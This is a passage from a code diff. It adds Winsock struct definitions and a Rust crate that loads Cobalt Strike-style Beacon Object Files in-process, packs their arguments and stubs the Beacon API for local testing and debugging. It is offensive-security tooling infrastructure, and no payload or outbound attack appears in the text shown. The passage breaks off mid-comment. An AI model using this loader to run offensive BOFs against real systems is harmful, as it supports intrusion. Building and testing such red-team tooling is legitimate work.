lpWSPIoctl; + void* lpWSPJoinLeaf; + void* lpWSPListen; + void* lpWSPRecv; + void* lpWSPRecvDisconnect; + void* lpWSPRecvFrom; + void* lpWSPSelect; + void* lpWSPSend; + void* lpWSPSendDisconnect; + void* lpWSPSendTo; + void* lpWSPSetSockOpt; + void* lpWSPShutdown; + void* lpWSPSocket; + void* lpWSPStringToAddress; +} WSPPROC_TABLE; + +typedef struct _TCP_INFO_v2 { + void* State; + unsigned int Mss; + unsigned long long ConnectionTimeMs; + BOOL TimestampsEnabled; + unsigned int RttUs; + unsigned int MinRttUs; + unsigned int BytesInFlight; + unsigned int Cwnd; + unsigned int SndWnd; + unsigned int RcvWnd; + unsigned int RcvBuf; + unsigned long long BytesOut; + unsigned long long BytesIn; + unsigned int BytesReordered; + unsigned int BytesRetrans; + unsigned int FastRetrans; + unsigned int DupAcksIn; + unsigned int TimeoutEpisodes; + unsigned char SynRetrans; + unsigned int SndLimTransRwin; + unsigned int SndLimTimeRwin; + unsigned long long SndLimBytesRwin; + unsigned int SndLimTransCwnd; + unsigned int SndLimTimeCwnd; + unsigned long long SndLimBytesCwnd; + unsigned int SndLimTransSnd; + unsigned int SndLimTimeSnd; + unsigned long long SndLimBytesSnd; + unsigned int OutOfOrderPktsIn; + BOOL EcnNegotiated; + unsigned int EceAcksIn; + unsigned int PtoEpisodes; +} TCP_INFO_v2; + +typedef struct _ATM_BLLI_IE { + unsigned int Layer2Protocol; + unsigned char Layer2Mode; + unsigned char Layer2WindowSize; + unsigned int Layer2UserSpecifiedProtocol; + unsigned int Layer3Protocol; + unsigned char Layer3Mode; + unsigned char Layer3DefaultPacketSize; + unsigned char Layer3PacketWindowSize; + unsigned int Layer3UserSpecifiedProtocol; + unsigned int Layer3IPI; + unsigned char SnapID[5]; +} ATM_BLLI_IE; + +typedef struct _WSANAMESPACE_INFOEXW { + void* NSProviderId; + unsigned int dwNameSpace; + BOOL fActive; + unsigned int dwVersion; + void* lpszIdentifier; + void* ProviderSpecific; +} WSANAMESPACE_INFOEXW; + +typedef struct _WINDOWS_IAS_QUERY { + unsigned char irdaDeviceID[4]; + unsigned char irdaClassName[64]; + unsigned char irdaAttribName[256]; + unsigned int irdaAttribType; + void* irdaAttribute; +} WINDOWS_IAS_QUERY; + +typedef struct _NL_BANDWIDTH_INFORMATION { + unsigned long long Bandwidth; + unsigned long long Instability; + BOOL BandwidthPeaked; +} NL_BANDWIDTH_INFORMATION; + +typedef struct _NSPV2_ROUTINE { + unsigned int cbSize; + unsigned int dwMajorVersion; + unsigned int dwMinorVersion; + void* NSPv2Startup; + void* NSPv2Cleanup; + void* NSPv2LookupServiceBegin; + void* NSPv2LookupServiceNextEx; + void* NSPv2LookupServiceEnd; + void* NSPv2SetServiceEx; + void* NSPv2ClientSessionRundown; +} NSPV2_ROUTINE; + +typedef struct _NL_NETWORK_CONNECTIVITY_HINT { + void* ConnectivityLevel; + void* ConnectivityCost; + BOOL ApproachingDataLimit; + BOOL OverDataLimit; + BOOL Roaming; +} NL_NETWORK_CONNECTIVITY_HINT; + +typedef struct _SOCKADDR_IPX { + short sa_family; + unsigned char sa_netnum[4]; + unsigned char sa_nodenum[6]; + unsigned short sa_socket; +} SOCKADDR_IPX; + +typedef struct _MLD_HEADER { + void* IcmpHeader; + unsigned short MaxRespTime; + unsigned short Reserved; + void* MulticastAddress; +} MLD_HEADER; + +typedef struct _WSADATA { + unsigned short wVersion; + unsigned short wHighVersion; + unsigned short iMaxSockets; + unsigned short iMaxUdpDg; + void* lpVendorInfo; + unsigned char szDescription[257]; + unsigned char szSystemStatus[129]; +} WSADATA; + +typedef struct _WSADATA { + unsigned short wVersion; + unsigned short wHighVersion; + unsigned char szDescription[257]; + unsigned char szSystemStatus[129]; + unsigned short iMaxSockets; + unsigned short iMaxUdpDg; + void* lpVendorInfo; +} WSADATA; + +typedef struct _WSAVERSION { + unsigned int dwVersion; + void* ecHow; +} WSAVERSION; + +typedef struct _sockaddr_gen { + void* Address; + void* AddressIn; + void* AddressIn6; +} sockaddr_gen; + +typedef struct _SOCKADDR_IN6 { + void* sin6_family; + unsigned short sin6_port; + unsigned int sin6_flowinfo; + void* sin6_addr; + void* Anonymous; +} SOCKADDR_IN6; + +typedef struct _DL_OUI { + unsigned char Byte[3]; + void* Anonymous; +} DL_OUI; + +typedef struct _WSAPROTOCOLCHAIN { + int ChainLen; + unsigned int ChainEntries[7]; +} WSAPROTOCOLCHAIN; + +typedef struct _RIO_RQ { + long long Value; +} RIO_RQ; + +typedef struct _ADDRINFOEX7 { + int ai_flags; + int ai_family; + int ai_socktype; + int ai_protocol; + unsigned long long ai_addrlen; + void* ai_canonname; + void* ai_addr; + void* ai_blob; + unsigned long long ai_bloblen; + void* ai_provider; + void* ai_next; + int ai_version; + void* ai_fqdn; + int ai_interfaceindex; + void* ai_resolutionhandle; + unsigned int ai_ttl; + unsigned int ai_numservers; + void* ai_servers; + unsigned long long ai_responseflags; + unsigned long long ai_extraflags; +} ADDRINFOEX7; + +typedef struct _ADDRINFOEX3 { + int ai_flags; + int ai_family; + int ai_socktype; + int ai_protocol; + unsigned long long ai_addrlen; + void* ai_canonname; + void* ai_addr; + void* ai_blob; + unsigned long long ai_bloblen; + void* ai_provider; + void* ai_next; + int ai_version; + void* ai_fqdn; + int ai_interfaceindex; +} ADDRINFOEX3; + +typedef struct _WSPDATA { + unsigned short wVersion; + unsigned short wHighVersion; + unsigned short szDescription[256]; +} WSPDATA; + +typedef struct _INET_PORT_RESERVATION_TOKEN { + unsigned long long Token; +} INET_PORT_RESERVATION_TOKEN; + +typedef struct _SOCKADDR_IN6_PAIR { + void* SourceAddress; + void* DestinationAddress; +} SOCKADDR_IN6_PAIR; + +typedef struct _PROTOCOL_INFOW { + unsigned int dwServiceFlags; + int iAddressFamily; + int iMaxSockAddr; + int iMinSockAddr; + int iSocketType; + int iProtocol; + unsigned int dwMessageSize; + void* lpProtocol; +} PROTOCOL_INFOW; + +typedef struct _SERVICE_ASYNC_INFO { + void* lpServiceCallbackProc; + void* lParam; + void* hAsyncTaskHandle; +} SERVICE_ASYNC_INFO; + +typedef struct _WSABUF { + unsigned int len; + void* buf; +} WSABUF; + +typedef struct _TCP_INFO_v0 { + void* State; + unsigned int Mss; + unsigned long long ConnectionTimeMs; + BOOL TimestampsEnabled; + unsigned int RttUs; + unsigned int MinRttUs; + unsigned int BytesInFlight; + unsigned int Cwnd; + unsigned int SndWnd; + unsigned int RcvWnd; + unsigned int RcvBuf; + unsigned long long BytesOut; + unsigned long long BytesIn; + unsigned int BytesReordered; + unsigned int BytesRetrans; + unsigned int FastRetrans; + unsigned int DupAcksIn; + unsigned int TimeoutEpisodes; + unsigned char SynRetrans; +} TCP_INFO_v0; + +typedef struct _RIO_BUF { + void* BufferId; + unsigned int Offset; + unsigned int Length; +} RIO_BUF; + +typedef struct _CMSGHDR { + unsigned long long cmsg_len; + int cmsg_level; + int cmsg_type; +} CMSGHDR; + +typedef struct _NS_INFOW { + unsigned int dwNameSpace; + unsigned int dwNameSpaceFlags; + void* lpNameSpace; +} NS_INFOW; + +typedef struct _ASSOCIATE_NAMERES_CONTEXT_INPUT { + void* TransportSettingId; + unsigned long long Handle; +} ASSOCIATE_NAMERES_CONTEXT_INPUT; + +typedef struct _AAL_PARAMETERS_IE { + void* AALType; + void* AALSpecificParameters; +} AAL_PARAMETERS_IE; + +typedef struct _IPV6_EXTENSION_HEADER { + unsigned char NextHeader; + unsigned char Length; +} IPV6_EXTENSION_HEADER; + +typedef struct _SNAP_HEADER { + unsigned char Dsap; + unsigned char Ssap; + unsigned char Control; + unsigned char Oui[3]; + unsigned short Type; +} SNAP_HEADER; + +typedef struct _ND_ROUTER_ADVERT_HEADER { + void* nd_ra_hdr; + unsigned int nd_ra_reachable; + unsigned int nd_ra_retransmit; +} ND_ROUTER_ADVERT_HEADER; + +typedef struct _ND_OPTION_RDNSS { + unsigned char nd_opt_rdnss_type; + unsigned char nd_opt_rdnss_len; + unsigned short nd_opt_rdnss_reserved; + unsigned int nd_opt_rdnss_lifetime; +} ND_OPTION_RDNSS; + +typedef struct _ATM_ADDRESS { + unsigned int AddressType; + unsigned int NumofDigits; + unsigned char Addr[20]; +} ATM_ADDRESS; + +typedef struct _IPTLS_METADATA { + unsigned long long SequenceNumber; +} IPTLS_METADATA; + +typedef struct _IGMP_HEADER { + void* Anonymous1; + void* Anonymous2; + unsigned short Checksum; + void* MulticastAddress; +} IGMP_HEADER; + +typedef struct _AAL5_PARAMETERS { + unsigned int ForwardMaxCPCSSDUSize; + unsigned int BackwardMaxCPCSSDUSize; + unsigned char Mode; + unsigned char SSCSType; +} AAL5_PARAMETERS; + +typedef struct _NLA_BLOB { + void* header; + void* data; +} NLA_BLOB; + +typedef struct _WSAPOLLFD { + void* fd; + void* events; + void* revents; +} WSAPOLLFD; + +typedef struct _ATM_TD { + unsigned int PeakCellRate_CLP0; + unsigned int PeakCellRate_CLP01; + unsigned int SustainableCellRate_CLP0; + unsigned int SustainableCellRate_CLP01; + unsigned int MaxBurstSize_CLP0; + unsigned int MaxBurstSize_CLP01; + BOOL Tagging; +} ATM_TD; + +typedef struct _AALUSER_PARAMETERS { + unsigned int UserDefined; +} AALUSER_PARAMETERS; + +typedef struct _IN_PKTINFO_EX { + void* pkt_info; + void* scope_id; +} IN_PKTINFO_EX; + +typedef struct _WSAMSG { + void* name; + int namelen; + void* lpBuffers; + unsigned int dwBufferCount; + void* Control; + unsigned int dwFlags; +} WSAMSG; + +typedef struct _ADDRINFO_DNS_SERVER { + unsigned int ai_servertype; + unsigned long long ai_flags; + unsigned int ai_addrlen; + void* ai_addr; + void* Anonymous; +} ADDRINFO_DNS_SERVER; + +typedef struct _SOCKADDR_VNS { + unsigned short sin_family; + unsigned char net_address[4]; + unsigned char subnet_addr[2]; + unsigned char port[2]; + unsigned char hops; + unsigned char filler[5]; +} SOCKADDR_VNS; + +typedef struct _RIO_NOTIFICATION_COMPLETION { + void* Type; + void* Anonymous; +} RIO_NOTIFICATION_COMPLETION; + +typedef struct _DL_TUNNEL_ADDRESS { + void* CompartmentId; + void* ScopeId; + unsigned char IpAddress[1]; +} DL_TUNNEL_ADDRESS; + +typedef struct _SERVICE_ADDRESS { + unsigned int dwAddressType; + unsigned int dwAddressFlags; + unsigned int dwAddressLength; + unsigned int dwPrincipalLength; + void* lpAddress; + void* lpPrincipal; +} SERVICE_ADDRESS; + +typedef struct _QOS { + void* SendingFlowspec; + void* ReceivingFlowspec; + void* ProviderSpecific; +} QOS; + +typedef struct _SOCKADDR_INET { + void* Ipv4; + void* Ipv6; + void* si_family; +} SOCKADDR_INET; + +typedef struct _WCE_IRDA_DEVICE_INFO { + unsigned char irdaDeviceID[4]; + unsigned char irdaDeviceName[22]; + unsigned char Reserved[2]; +} WCE_IRDA_DEVICE_INFO; + +typedef struct _SOCKADDR_UN { + void* sun_family; + unsigned char sun_path[108]; +} SOCKADDR_UN; + +typedef struct _ICMP_HEADER { + unsigned char Type; + unsigned char Code; + unsigned short Checksum; +} ICMP_HEADER; + +typedef struct _DL_TEREDO_ADDRESS { + unsigned char Reserved[6]; + void* Anonymous; +} DL_TEREDO_ADDRESS; + +typedef struct _NS_SERVICE_INFOA { + unsigned int dwNameSpace; + void* ServiceInfo; +} NS_SERVICE_INFOA; + +typedef struct _SOCKET_ADDRESS_LIST { + int iAddressCount; + void* Address[1]; +} SOCKET_ADDRESS_LIST; + +typedef struct _RM_FEC_INFO { + unsigned short FECBlockSize; + unsigned short FECProActivePackets; + unsigned char FECGroupSize; + BOOL fFECOnDemandParityEnabled; +} RM_FEC_INFO; + +typedef struct _IN_ADDR { + void* S_un; +} IN_ADDR; + +typedef struct _SOCKADDR_IN6_W2KSP1 { + short sin6_family; + unsigned short sin6_port; + unsigned int sin6_flowinfo; + void* sin6_addr; + unsigned int sin6_scope_id; +} SOCKADDR_IN6_W2KSP1; + +typedef struct _IN6_PKTINFO { + void* ipi6_addr; + unsigned int ipi6_ifindex; +} IN6_PKTINFO; + +typedef struct _CSADDR_INFO { + void* LocalAddr; + void* RemoteAddr; + int iSocketType; + int iProtocol; +} CSADDR_INFO; + +typedef struct _SOCKET { + unsigned long long Value; +} SOCKET; + +typedef struct _WINDOWS_DEVICELIST { + unsigned int numDevice; + void* Device[1]; +} WINDOWS_DEVICELIST; + +typedef struct _TCP_ICW_PARAMETERS { + void* Level; +} TCP_ICW_PARAMETERS; + +typedef struct _WSATHREADID { + void* ThreadHandle; + unsigned long long Reserved; +} WSATHREADID; + +typedef struct _WSAQUERYSETA { + unsigned int dwSize; + void* lpszServiceInstanceName; + void* lpServiceClassId; + void* lpVersion; + void* lpszComment; + unsigned int dwNameSpace; + void* lpNSProviderId; + void* lpszContext; + unsigned int dwNumberOfProtocols; + void* lpafpProtocols; + void* lpszQueryString; + unsigned int dwNumberOfCsAddrs; + void* lpcsaBuffer; + unsigned int dwOutputFlags; + void* lpBlob; +} WSAQUERYSETA; + +typedef struct _TCP_OPT_FASTOPEN { + unsigned char Kind; + unsigned char Length; + unsigned char Cookie[1]; +} TCP_OPT_FASTOPEN; + +typedef struct _SOCKADDR_DL { + void* sdl_family; + unsigned char sdl_data[8]; + unsigned char sdl_zero[4]; +} SOCKADDR_DL; + +typedef struct _ATM_QOS_CLASS_IE { + unsigned char QOSClassForward; + unsigned char QOSClassBackward; +} ATM_QOS_CLASS_IE; + +typedef struct _ICMP_ERROR_INFO { + void* srcaddress; + void* protocol; + unsigned char type; + unsigned char code; +} ICMP_ERROR_INFO; + +typedef struct _WSA_COMPATIBILITY_MODE { + void* BehaviorId; + unsigned int TargetOsVersion; +} WSA_COMPATIBILITY_MODE; + +typedef struct _INET_PORT_RANGE { + unsigned short StartPort; + unsigned short NumberOfPorts; +} INET_PORT_RANGE; + +typedef struct _DL_EUI64 { + unsigned char Byte[8]; + unsigned long long Value; + void* Anonymous; +} DL_EUI64; + +typedef struct _IN6_ADDR { + void* u; +} IN6_ADDR; + +typedef struct _netent { + void* n_name; + void* n_aliases; + short n_addrtype; + unsigned int n_net; +} netent; + +typedef struct _ATM_CONNECTION_ID { + unsigned int DeviceNumber; + unsigned int VPI; + unsigned int VCI; +} ATM_CONNECTION_ID; + +typedef struct _WSASERVICECLASSINFOA { + void* lpServiceClassId; + void* lpszServiceClassName; + unsigned int dwCount; + void* lpClassInfos; +} WSASERVICECLASSINFOA; + +typedef struct _PRIORITY_STATUS { + void* Sender; + void* Receiver; +} PRIORITY_STATUS; + +typedef struct _IP_MSFILTER { + void* imsf_multiaddr; + void* imsf_interface; + void* imsf_fmode; + unsigned int imsf_numsrc; + void* imsf_slist[1]; +} IP_MSFILTER; + +typedef struct _WSASERVICECLASSINFOW { + void* lpServiceClassId; + void* lpszServiceClassName; + unsigned int dwCount; + void* lpClassInfos; +} WSASERVICECLASSINFOW; + +typedef struct _WSANAMESPACE_INFOA { + void* NSProviderId; + unsigned int dwNameSpace; + BOOL fActive; + unsigned int dwVersion; + void* lpszIdentifier; +} WSANAMESPACE_INFOA; + +typedef struct _TCP_INFO_v1 { + void* State; + unsigned int Mss; + unsigned long long ConnectionTimeMs; + BOOL TimestampsEnabled; + unsigned int RttUs; + unsigned int MinRttUs; + unsigned int BytesInFlight; + unsigned int Cwnd; + unsigned int SndWnd; + unsigned int RcvWnd; + unsigned int RcvBuf; + unsigned long long BytesOut; + unsigned long long BytesIn; + unsigned int BytesReordered; + unsigned int BytesRetrans; + unsigned int FastRetrans; + unsigned int DupAcksIn; + unsigned int TimeoutEpisodes; + unsigned char SynRetrans; + unsigned int SndLimTransRwin; + unsigned int SndLimTimeRwin; + unsigned long long SndLimBytesRwin; + unsigned int SndLimTransCwnd; + unsigned int SndLimTimeCwnd; + unsigned long long SndLimBytesCwnd; + unsigned int SndLimTransSnd; + unsigned int SndLimTimeSnd; + unsigned long long SndLimBytesSnd; +} TCP_INFO_v1; + +typedef struct _RIO_EXTENSION_FUNCTION_TABLE { + unsigned int cbSize; + void* RIOReceive; + void* RIOReceiveEx; + void* RIOSend; + void* RIOSendEx; + void* RIOCloseCompletionQueue; + void* RIOCreateCompletionQueue; + void* RIOCreateRequestQueue; + void* RIODequeueCompletion; + void* RIODeregisterBuffer; + void* RIONotify; + void* RIORegisterBuffer; + void* RIOResizeCompletionQueue; + void* RIOResizeRequestQueue; +} RIO_EXTENSION_FUNCTION_TABLE; + +typedef struct _IP_MREQ_SOURCE { + void* imr_multiaddr; + void* imr_sourceaddr; + void* imr_interface; +} IP_MREQ_SOURCE; + +typedef struct _SOCKET_PROCESSOR_AFFINITY { + void* Processor; + unsigned short NumaNodeId; + unsigned short Reserved; +} SOCKET_PROCESSOR_AFFINITY; + +typedef struct _SERVICE_TYPE_INFO_ABSW { + void* lpTypeName; + unsigned int dwValueCount; + void* Values[1]; +} SERVICE_TYPE_INFO_ABSW; + +typedef struct _ARP_HEADER { + unsigned short HardwareAddressSpace; + unsigned short ProtocolAddressSpace; + unsigned char HardwareAddressLength; + unsigned char ProtocolAddressLength; + unsigned short Opcode; + unsigned char SenderHardwareAddress[1]; +} ARP_HEADER; + +typedef struct _INET_PORT_RESERVATION_INSTANCE { + void* Reservation; + void* Token; +} INET_PORT_RESERVATION_INSTANCE; + +typedef struct _ICMPV4_ROUTER_ADVERT_HEADER { + void* RaHeader; +} ICMPV4_ROUTER_ADVERT_HEADER; + +typedef struct _TCP_OPT_UNKNOWN { + unsigned char Kind; + unsigned char Length; +} TCP_OPT_UNKNOWN; + +typedef struct _SCOPE_ID { + void* Anonymous; +} SCOPE_ID; + +typedef struct _IPX_ADDRESS_DATA { + int adapternum; + unsigned char netnum[4]; + unsigned char nodenum[6]; + BOOL wan; + BOOL status; + int maxpkt; + unsigned int linkspeed; +} IPX_ADDRESS_DATA; + +typedef struct _SOCKADDR_IRDA { + unsigned short irdaAddressFamily; + unsigned char irdaDeviceID[4]; + unsigned char irdaServiceName[25]; +} SOCKADDR_IRDA; + +typedef struct _REAL_TIME_NOTIFICATION_SETTING_OUTPUT { + void* ChannelStatus; +} REAL_TIME_NOTIFICATION_SETTING_OUTPUT; + +typedef struct _SOCKET_SECURITY_QUERY_INFO { + void* SecurityProtocol; + unsigned int Flags; + unsigned long long PeerApplicationAccessTokenHandle; + unsigned long long PeerMachineAccessTokenHandle; +} SOCKET_SECURITY_QUERY_INFO; + +typedef struct _SOCKADDR { + void* sa_family; + unsigned char sa_data[14]; +} SOCKADDR; + +typedef struct _DL_EUI48 { + unsigned char Byte[6]; + void* Anonymous; +} DL_EUI48; + +typedef struct _SERVICE_TYPE_VALUE_ABSW { + unsigned int dwNameSpace; + unsigned int dwValueType; + unsigned int dwValueSize; + void* lpValueName; + void* lpValue; +} SERVICE_TYPE_VALUE_ABSW; + +typedef struct _ND_OPTION_RD_HDR { + unsigned char nd_opt_rh_type; + unsigned char nd_opt_rh_len; + unsigned short nd_opt_rh_reserved1; + unsigned int nd_opt_rh_reserved2; +} ND_OPTION_RD_HDR; + +typedef struct _PROTOCOL_INFOA { + unsigned int dwServiceFlags; + int iAddressFamily; + int iMaxSockAddr; + int iMinSockAddr; + int iSocketType; + int iProtocol; + unsigned int dwMessageSize; + void* lpProtocol; +} PROTOCOL_INFOA; + +typedef struct _TIMESTAMPING_CONFIG { + unsigned int Flags; + unsigned short TxTimestampsBuffered; +} TIMESTAMPING_CONFIG; + +typedef struct _socklen_t { + int Value; +} socklen_t; + +typedef struct _SOCKET_PEER_TARGET_NAME { + void* SecurityProtocol; + void* PeerAddress; + unsigned int PeerTargetNameStringLen; + unsigned short AllStrings[1]; +} SOCKET_PEER_TARGET_NAME; + +typedef struct _WSAPROTOCOL_INFOW { + unsigned int dwServiceFlags1; + unsigned int dwServiceFlags2; + unsigned int dwServiceFlags3; + unsigned int dwServiceFlags4; + unsigned int dwProviderFlags; + void* ProviderId; + unsigned int dwCatalogEntryId; + void* ProtocolChain; + int iVersion; + int iAddressFamily; + int iMaxSockAddr; + int iMinSockAddr; + int iSocketType; + int iProtocol; + int iProtocolMaxOffset; + int iNetworkByteOrder; + int iSecurityScheme; + unsigned int dwMessageSize; + unsigned int dwProviderReserved; + unsigned short szProtocol[256]; +} WSAPROTOCOL_INFOW; + +typedef struct _WINDOWS_IAS_SET { + unsigned char irdaClassName[64]; + unsigned char irdaAttribName[256]; + unsigned int irdaAttribType; + void* irdaAttribute; +} WINDOWS_IAS_SET; + +typedef struct _REAL_TIME_NOTIFICATION_SETTING_INPUT { + void* TransportSettingId; + void* BrokerEventGuid; +} REAL_TIME_NOTIFICATION_SETTING_INPUT; + +typedef struct _ATM_BHLI { + unsigned int HighLayerInfoType; + unsigned int HighLayerInfoLength; + unsigned char HighLayerInfo[8]; +} ATM_BHLI; + +typedef struct _WSANSCLASSINFOA { + void* lpszName; + unsigned int dwNameSpace; + unsigned int dwValueType; + unsigned int dwValueSize; + void* lpValue; +} WSANSCLASSINFOA; + +typedef struct _WSANAMESPACE_INFOEXA { + void* NSProviderId; + unsigned int dwNameSpace; + BOOL fActive; + unsigned int dwVersion; + void* lpszIdentifier; + void* ProviderSpecific; +} WSANAMESPACE_INFOEXA; + +typedef struct _SERVICE_INFOA { + void* lpServiceType; + void* lpServiceName; + void* lpComment; + void* lpLocale; + void* dwDisplayHint; + unsigned int dwVersion; + unsigned int dwTime; + void* lpMachineName; + void* lpServiceAddress; + void* ServiceSpecificInfo; +} SERVICE_INFOA; + +typedef struct _PROTOENT { + void* p_name; + void* p_aliases; + short p_proto; +} PROTOENT; + +typedef struct _NAPI_DOMAIN_DESCRIPTION_BLOB { + unsigned int AuthLevel; + unsigned int cchDomainName; + unsigned int OffsetNextDomainDescription; + unsigned int OffsetThisDomainName; +} NAPI_DOMAIN_DESCRIPTION_BLOB; + +typedef struct _ADDRINFOEX2A { + int ai_flags; + int ai_family; + int ai_socktype; + int ai_protocol; + unsigned long long ai_addrlen; + void* ai_canonname; + void* ai_addr; + void* ai_blob; + unsigned long long ai_bloblen; + void* ai_provider; + void* ai_next; + int ai_version; + void* ai_fqdn; +} ADDRINFOEX2A; + +typedef struct _WSAQUERYSETW { + unsigned int dwSize; + void* lpszServiceInstanceName; + void* lpServiceClassId; + void* lpVersion; + void* lpszComment; + unsigned int dwNameSpace; + void* lpNSProviderId; + void* lpszContext; + unsigned int dwNumberOfProtocols; + void* lpafpProtocols; + void* lpszQueryString; + unsigned int dwNumberOfCsAddrs; + void* lpcsaBuffer; + unsigned int dwOutputFlags; + void* lpBlob; +} WSAQUERYSETW; + +typedef struct _ADDRINFOEX2W { + int ai_flags; + int ai_family; + int ai_socktype; + int ai_protocol; + unsigned long long ai_addrlen; + void* ai_canonname; + void* ai_addr; + void* ai_blob; + unsigned long long ai_bloblen; + void* ai_provider; + void* ai_next; + int ai_version; + void* ai_fqdn; +} ADDRINFOEX2W; + +typedef struct _IPV4_TIMESTAMP_OPTION { + void* OptionHeader; + unsigned char Pointer; + void* Anonymous; +} IPV4_TIMESTAMP_OPTION; + +typedef struct _ND_ROUTER_SOLICIT_HEADER { + void* nd_rs_hdr; +} ND_ROUTER_SOLICIT_HEADER; + +typedef struct _ND_REDIRECT_HEADER { + void* nd_rd_hdr; + void* nd_rd_target; + void* nd_rd_dst; +} ND_REDIRECT_HEADER; + +typedef struct _IPV4_OPTION_HEADER { + void* Anonymous; + unsigned char OptionLength; +} IPV4_OPTION_HEADER; + +typedef struct _NAPI_PROVIDER_INSTALLATION_BLOB { + unsigned int dwVersion; + unsigned int dwProviderType; + unsigned int fSupportsWildCard; + unsigned int cDomains; + unsigned int OffsetFirstDomain; +} NAPI_PROVIDER_INSTALLATION_BLOB; + +typedef struct _ND_OPTION_PREFIX_INFO { + unsigned char nd_opt_pi_type; + unsigned char nd_opt_pi_len; + unsigned char nd_opt_pi_prefix_len; + void* Anonymous1; + unsigned int nd_opt_pi_valid_time; + unsigned int nd_opt_pi_preferred_time; + void* Anonymous2; + void* nd_opt_pi_prefix; +} ND_OPTION_PREFIX_INFO; + diff --git a/tools/bof-loader/Cargo.toml b/tools/bof-loader/Cargo.toml new file mode 100644 index 0000000..719ce6d --- /dev/null +++ b/tools/bof-loader/Cargo.toml @@ -0,0 +1,16 @@ +[package] +name = "bof-loader" +version = "0.1.0" +edition = "2021" +description = "In-process COFF loader for EntropyKit BOFs. Parses .obj, maps sections, resolves __imp_* slots (Beacon stubs + Win32 imports), applies REL32 / ADDR64 relocations. Shared by `bof-runner` (CLI harness) and `entc-debug` (VS Code DAP server)." + +[lib] +name = "bof_loader" +path = "src/lib.rs" + +[target.'cfg(windows)'.dependencies] +windows-sys = { version = "0.59", features = [ + "Win32_Foundation", + "Win32_System_Memory", + "Win32_System_LibraryLoader", +] } diff --git a/tools/bof-loader/src/args.rs b/tools/bof-loader/src/args.rs new file mode 100644 index 0000000..4811a06 --- /dev/null +++ b/tools/bof-loader/src/args.rs @@ -0,0 +1,78 @@ +// SPDX-License-Identifier: Apache-2.0 +//! Cobalt Strike `bof_pack`-format argument packer. +//! +//! Walks a list of CLI-style flag tokens and emits the equivalent +//! byte sequence the BOF will see in its `args` buffer. The flag +//! vocabulary matches the `bof-runner` CLI: +//! +//! --args RAW raw bytes, no length prefix. For BOFs that +//! treat `args` as a C string. +//! --zarg STR `bof_pack "z"` - `[u32 length LE][bytes][NUL]`. +//! --iarg N `bof_pack "i"` - `[u32 BE]` (network byte order). +//! --sarg N `bof_pack "s"` - `[u16 BE]`. +//! --barg @FILE `bof_pack "b"` - `[u32 length LE][bytes]`. +//! +//! Order on the input list determines order in the output buffer - +//! the BOF reads with `BeaconDataExtract` / `BeaconDataInt` etc. in +//! matching order. Mixing typed flags with `--args` is supported but +//! rare; `--args`'s raw bytes go first. + +pub fn parse_packed_args(args: &[String]) -> Result, String> { + let mut out: Vec = Vec::new(); + let mut i = 0; + while i < args.len() { + let flag = args[i].as_str(); + let take_value = || -> Result<&str, String> { + args.get(i + 1).map(|s| s.as_str()) + .ok_or_else(|| format!("`{flag}` requires a value")) + }; + match flag { + "--args" => { + // Raw bytes - appended as-is, NO length prefix. A BOF + // reading this with BeaconDataExtract won't find the + // expected `[u32 len][bytes]` shape - `--args` is the + // "treat args buffer as a C string" path. + let v = take_value()?; + out.extend_from_slice(v.as_bytes()); + i += 2; + } + "--zarg" => { + let v = take_value()?; + let bytes = v.as_bytes(); + let length = (bytes.len() + 1) as u32; + out.extend_from_slice(&length.to_le_bytes()); + out.extend_from_slice(bytes); + out.push(0); + i += 2; + } + "--iarg" => { + let v = take_value()?; + let n: i32 = v.parse() + .map_err(|e| format!("--iarg `{v}`: {e}"))?; + out.extend_from_slice(&n.to_be_bytes()); + i += 2; + } + "--sarg" => { + let v = take_value()?; + let n: i16 = v.parse() + .map_err(|e| format!("--sarg `{v}`: {e}"))?; + out.extend_from_slice(&n.to_be_bytes()); + i += 2; + } + "--barg" => { + let v = take_value()?; + let Some(path) = v.strip_prefix('@') else { + return Err(format!("--barg expects `@path` (got `{v}`)")); + }; + let bytes = std::fs::read(path) + .map_err(|e| format!("--barg {path}: {e}"))?; + let length = bytes.len() as u32; + out.extend_from_slice(&length.to_le_bytes()); + out.extend_from_slice(&bytes); + i += 2; + } + other => return Err(format!("unknown flag: `{other}`")), + } + } + Ok(out) +} diff --git a/tools/bof-loader/src/beacon.rs b/tools/bof-loader/src/beacon.rs new file mode 100644 index 0000000..08fbe0e --- /dev/null +++ b/tools/bof-loader/src/beacon.rs @@ -0,0 +1,671 @@ +// SPDX-License-Identifier: Apache-2.0 +//! beacon.rs - in-harness implementations of the Beacon API. +//! +//! Every function declared in [stdlib/bof.etpy](../../stdlib/bof.etpy) +//! has a stub here so a BOF that calls it can run end-to-end through +//! `bof-runner` instead of bombing on "unresolved external." +//! +//! Stubs aim for **behavioural fidelity** with real Beacon where +//! cheap, and **clear instrumentation** where the real semantics are +//! impractical to replicate locally (process injection, syscall +//! gates, etc.). Each stub category documents which side it leans +//! toward. +//! +//! Calling convention: every exported stub is `unsafe extern "system"` +//! so the BOF can call it through `__imp_` with no thunking on +//! Win64 (rcx/rdx/r8/r9, 32-byte shadow). Pointers are raw - BOF code +//! is trusted in the harness. +//! +//! Concurrency: the harness runs `go` synchronously on the main +//! thread; no cross-thread state. The `BeaconAddValue` KV store and +//! the `BeaconGate` state use a `Mutex` for safety in case a future +//! version of the harness adds threading. + +// The library root gates this module on `cfg(windows)` already; +// the inner attribute is unnecessary here. +#![allow(non_snake_case, clippy::missing_safety_doc)] + +use std::collections::HashMap; +use std::io::Write; +use std::sync::Mutex; + +// ============================================================================ +// Shared state. Process-global to mirror "Beacon owns the heap" - +// state survives across BOF calls within one harness invocation. +// ============================================================================ + +/// `BeaconAddValue` / `GetValue` / `RemoveValue` storage. Keys are +/// owned `String`s (BOFs hand us a `char*` we copy on insert); values +/// are raw `usize` (the BOF's choice of payload - pointer, integer, +/// whatever). Lookups return 0 (null) for misses. +static KV: Mutex>> = Mutex::new(None); + +fn kv_with(f: impl FnOnce(&mut HashMap) -> R) -> R { + let mut guard = KV.lock().unwrap(); + if guard.is_none() { *guard = Some(HashMap::new()); } + f(guard.as_mut().unwrap()) +} + +unsafe fn cstr_to_string(p: *const u8) -> Option { + if p.is_null() { return None; } + let mut n = 0usize; + while *p.add(n) != 0 && n < 4096 { n += 1; } + let bytes = std::slice::from_raw_parts(p, n); + Some(String::from_utf8_lossy(bytes).into_owned()) +} + +// ============================================================================ +// Output: BeaconPrintf, BeaconOutput. +// +// Real Beacon ships output back to the operator's console. Locally +// we route output through an installable hook so: +// +// * Standalone `bof-runner` to default sink writes `[BOF] ` +// to stdout. Identical to the original behaviour. +// +// * `entc-debug` (DAP mode) to installs a custom 